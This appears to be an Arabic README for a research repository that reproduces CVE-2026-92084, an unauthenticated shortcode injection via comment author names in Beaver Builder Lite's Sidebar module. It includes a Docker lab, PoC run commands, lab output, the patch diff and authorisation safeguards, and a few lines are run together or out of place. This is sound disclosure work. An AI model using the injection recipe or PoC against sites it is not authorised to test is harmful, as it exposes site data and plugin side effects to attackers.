
مختبر تحقق Docker وإثبات مفهوم Python للثغرة CVE-2026-92084، وهي ثغرة تنفيذ shortcode دون مصادقة في Beaver Builder Lite <= 2.11.0.5، مع عنصر تحكم مُرقّع وشاشة nuclei.
مواد بحث أمني لإعادة إنتاج والتحقق من CVE-2026-92084:
يقوم Beaver Builder (Lite) <= 2.11.0.5 بتنفيذ شورت كودات WordPress المسجّلة التعسفية المزروعة في مخرجات الودجات التي يعرضها وحدة الشريط الجانبي (Sidebar)، عبر تمريرة do_shortcode() على مستوى التخطيط في المنشئ.
'renders_shortcodes' => false؛
آلية ترميز الأقواس نفسها صدرت سابقًا ولم تتغير)AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N) - CWE-94استخدم فقط على الأنظمة التي تملكها أو المصرّح لك صراحةً باختبارها. يقوم الـ PoC بنشر تعليق واحد يحتوي اسم مؤلفه على شورت كود علامة مسجّلة للمختبر. لا يُستخدم أي شورت كود مدمّر ولا يُكتب أي شيء على القرص.
الحالة: مُثبت في المختبر المرفق.
Beaver Builder Lite 2.11.0.5 (WordPress 7.1.2، صفحة منشئ تحتوي على وحدة شريط جانبي
comment posted : author name "[cve92084]" on the builder page
result : rendered page contains the marker shortcode's server-side
output "CVE92084-SHORTCODE-FIRED"
(executed by the layout-wide do_shortcode() pass)
2.11.0.6 : brackets entity-encoded, marker absent (patched negative
control; page shows the literal text [cve92084])
هذا يوضح تنفيذًا من جهة الخادم لاختصار (shortcode) مسجّل عشوائيًا مع تضمين المخرجات في الصفحة، مكشوفة لكل زائر. وهو لا يوضح تنفيذًا عن بُعد (RCE)؛ إذ يعتمد التأثير على الاختصارات المسجّلة على الهدف (كشف المقالات/البيانات الوصفية، والنماذج، والاختصارات التي توفرها الإضافات ذات الآثار الجانبية).
نقطة التصريف (The sink). يُمرّر FLBuilder::render_content() تخطيط المنشئ المُجمّع عبر تمريرة اختصارات واسعة قبل إخراجه:
// classes/class-fl-builder.php:2139, Beaver Builder Lite 2.11.0.5
$content = do_shortcode( $content );
نقطة الحقن. تُصيّر وحدة الشريط الجانبي (Sidebar) مخرجات ودجات الشريط الجانبي في WordPress حرفيًا داخل ذلك التخطيط:
// modules/sidebar/includes/frontend.php:4, 2.11.0.5
if ( ! dynamic_sidebar( $settings->sidebar ) ) {
محتوى الودجة بيانات مستخدم غير موثوقة - إذ تعرض ودجة التعليقات الأخيرة الأساسية get_comment_author_link()، أي الاسم الذي قدّمه معلّق (غير مصادَق). ولا تعيد FLBuilder::double_escape_shortcodes() سوى وضع الأقواس حول الصيغة المهرَّبة [[x]]، لذا يمرّ [cve92084] العادي عبرها وتنفّذه تمريرة do_shortcode().
الإصلاح. تتضمن النسخة 2.11.0.5 بالفعل آلية التعطيل - FLBuilderModule::$renders_shortcodes = true (class-fl-builder-module.php:143) وFLBuilder::escape_foreign_module_shortcodes() الموصولة بمرشّحَي عرض الوحدة (class-fl-builder.php:109-110، والمطبَّقة عند 3240)، والتي ترمّز كيانات الأقواس لأي اختصار قصير مسجَّل في مخرجات الوحدة. غير أن وحدة الشريط الجانبي لم تُلغِ الاشتراك قط. والتغيير الوظيفي الوحيد في 2.11.0.6 هو إلغاء الاشتراك:
// modules/sidebar/sidebar.php, 2.11.0.6
'renders_shortcodes' => false,
// dynamic_sidebar() renders third-party widget output that can contain
// untrusted user data (e.g. a comment author name via the core Recent
// Comments widget); do not run its shortcodes.
/wp-comments-post.php مع حمولة shortcode
كاسم مؤلف التعليق.do_shortcode() الحمولة. ويحل ناتجها محل
اسم المؤلف، مرئيًا لكل زائر.المتطلبات: Docker مع Compose v2، وPython 3.10+ على المضيف.
./lab verify
يبني مختبر 2.11.0.5، ويتطلب تفعيل العلامة، ثم يبني مختبر
2.11.0.6 ويتطلب غيابها. أزل كل شيء باستخدام
./lab reset.
عنصر التحكم المصاب:
[!!!] SHORTCODE EXECUTION CONFIRMED
posted : comment author '[cve92084]' on page 5
evidence: 'CVE92084-SHORTCODE-FIRED' present in the rendered builder page
context : ...<a href="https://github.com/hassham1/cve-2026-92084-beaver-builder-shortcode-poc/blob/main/..." class="url">CVE92084-SHORTCODE-FIRED</a>...
RESULT: VULNERABLE CONTROL CONFIRMED
عنصر تحكم مُرقَّع:
[=] shortcode text present but NOT executed: brackets entity-encoded
(patched >= 2.11.0.6 behavior: escape_foreign_shortcodes).
RESULT: PATCHED CONTROL CONFIRMED
لا يُقبل وجود العلامة في الصفحة داخل التعليق المعروض فقط (النص الخام) كدليل؛ يجب أن تظهر العلامة كمخرجات تنفيذ الشورت كود.
./lab start vulnerable # 2.11.0.5 lab on http://127.0.0.1:9488
./lab test # assert marker fires
./lab start patched # 2.11.0.6 lab
./lab test # assert absence
./lab status
./lab reset
شغّل PoC يدويًا (الافتراضي هو loopback؛ الأهداف الخارجية المصرّح بها تحتاج إلى التجاوز الصريح):
python3 poc/poc_cve_2026_92084.py --url http://127.0.0.1:9488 --post-id 5
python3 poc/poc_cve_2026_92084.py --url https://target.example \
--post-id 5 --allow-authorized-non-loopback [--insecure]
قالب nuclei (nuclei/cve-2026-92084.yaml) هو فحص إصدار فقط
(الوسم المستقر في readme.txt <= 2.11.0.5). تتطلب سلسلة السلوك إرسال تعليق
إضافةً إلى انتقال موافقة، وهو أمر غير عملي للتعبير عنه في
nuclei؛ ينفّذ PoC بلغة Python التدفق الكامل.
| الإصدار | التقييم |
|---|---|
| Beaver Builder Lite 2.11.0.5 | أُعيد إنتاج تنفيذ الشورت كود من البداية إلى النهاية |
| Beaver Builder Lite 2.11.0.6 | أُعيد إنتاج الضابط السلبي المُرقَّع |
| Beaver Builder Lite <= 2.11.0.4 | متأثر وفق الاستشارة؛ لم يُختبر بشكل فردي |
| Beaver Builder (Pro/Agency) | لم يُختبر - نطاق الاستشارة هو إضافة Lite |
.
├── .github/workflows/validate.yml
├── .gitignore
├── LICENSE
├── README.md
├── SECURITY.md
├── docker-compose.yml
├── lab
├── nuclei/
│ └── cve-2026-92084.yaml
├── poc/
│ └── poc_cve_2026_92084.py
└── provision/
└── install.php
غير مُودَع في المستودع: assets/ (ملفات zip الخاصة بالإضافة)، .lab-state، __pycache__/.
| الادعاء | الحالة |
|---|---|
| تنفيذ الشورت كود عبر مخرجات أداة وحدة الشريط الجانبي | مُثبَت (2.11.0.5) |
| الكشف عن مخرجات التنفيذ في صفحة المنشئ المعروضة | مُثبَت |
| عنصر تحكم سلبي مُرقَّع (2.11.0.6، الأقواس مُرمَّزة) | مُثبَت |
| التكوين الافتراضي (الشريط الجانبي المختبري + أداة التعليقات الأخيرة) | مُثبَت (هذه هي بنية المختبر) |
| أدوات أخرى تُعيد إظهار بيانات المستخدم (سحابة الوسوم، ميتا، مخصصة) | لم تُختبر |
| التأثير بما يتجاوز مخرجات الشورت كود المسجَّلة (RCE) | غير مُدَّعى |
شغِّل هذا المستودع فقط على الأنظمة التي تملكها أو المصرَّح لك صراحةً
باختبارها. يرفض مشغِّل المختبر أي متغيرات غير vulnerable/patched، ويرفض
الـ PoC الأهداف غير المحلية (non-loopback) ما لم يتم توفير
--allow-authorized-non-loopback، ومنفذ Compose مرتبط بـ 127.0.0.1.